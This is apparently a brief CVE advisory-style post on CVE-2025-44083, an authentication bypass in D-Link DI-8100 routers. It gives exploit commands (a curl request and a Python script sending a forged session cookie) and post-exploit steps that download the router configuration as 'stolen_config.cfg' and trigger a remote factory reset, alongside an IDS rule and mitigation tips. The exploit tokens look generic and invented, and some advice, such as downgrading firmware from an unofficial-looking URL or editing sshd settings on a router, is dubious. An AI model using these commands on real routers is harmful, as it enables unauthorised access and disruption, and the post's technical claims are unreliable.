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How the CVE Works:
CVE-2025-44083 is an authentication bypass vulnerability in D-Link DI-8100 routers running firmware version 16.07.26A1. The flaw stems from improper session validation in the administrative web interface. A remote attacker can craft a malicious HTTP request with manipulated session tokens or cookies, tricking the system into granting unauthorized access. The router fails to verify the legitimacy of these tokens, allowing attackers to bypass login credentials entirely. This vulnerability exposes sensitive configurations, network controls, and administrative functions to unauthenticated users, posing a severe risk to network integrity.
DailyCVE Form:
Platform: D-Link DI-8100
Version: 16.07.26A1
Vulnerability: Authentication Bypass
Severity: Critical
Date: 06/03/2025
Prediction: Patch expected by 08/2025
What Undercode Say:
Analytics:
- Exploitability: High (remote, low complexity)
- Attack Vector: Network-based
- Impact: Full admin compromise
Exploit Commands:
1. Craft malicious cookie:
curl -X GET "http://<TARGET_IP>/admin/" -H "Cookie: session=bypass_token"
2. Automated bypass script (Python):
import requests
target = "http://192.168.1.1/admin/"
headers = {"Cookie": "session=invalid_override"}
response = requests.get(target, headers=headers)
if "Admin Panel" in response.text:
print("[+] Exploit successful!")
Mitigation Commands:
1. Block unauthorized access via firewall:
iptables -A INPUT -p tcp --dport 80 -s ! <TRUSTED_IP> -j DROP
2. Firmware downgrade (if patched version unavailable):
wget http://legacy.dlink.com/firmware/DI-8100_16.07.25A1.bin
Detection Code (IDS Rule):
alert http any any -> $HOME_NET 80 (msg:"CVE-2025-44083 Exploit Attempt"; flow:to_server; http.cookie; content:"session=bypass_token"; sid:100044083; rev:1;)
Post-Exploit Actions:
1. Dump router config:
curl "http://<TARGET_IP>/backup.cfg" --output stolen_config.cfg
2. Reset to factory defaults (if compromised):
curl -X POST "http://<TARGET_IP>/reset.asp" -d "confirm=yes"
Permanent Fix:
- Disable web interface:
nvram set http_enable=0 && nvram commit
- Enable SSH with key auth:
echo "PermitRootLogin no" >> /etc/ssh/sshd_config
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
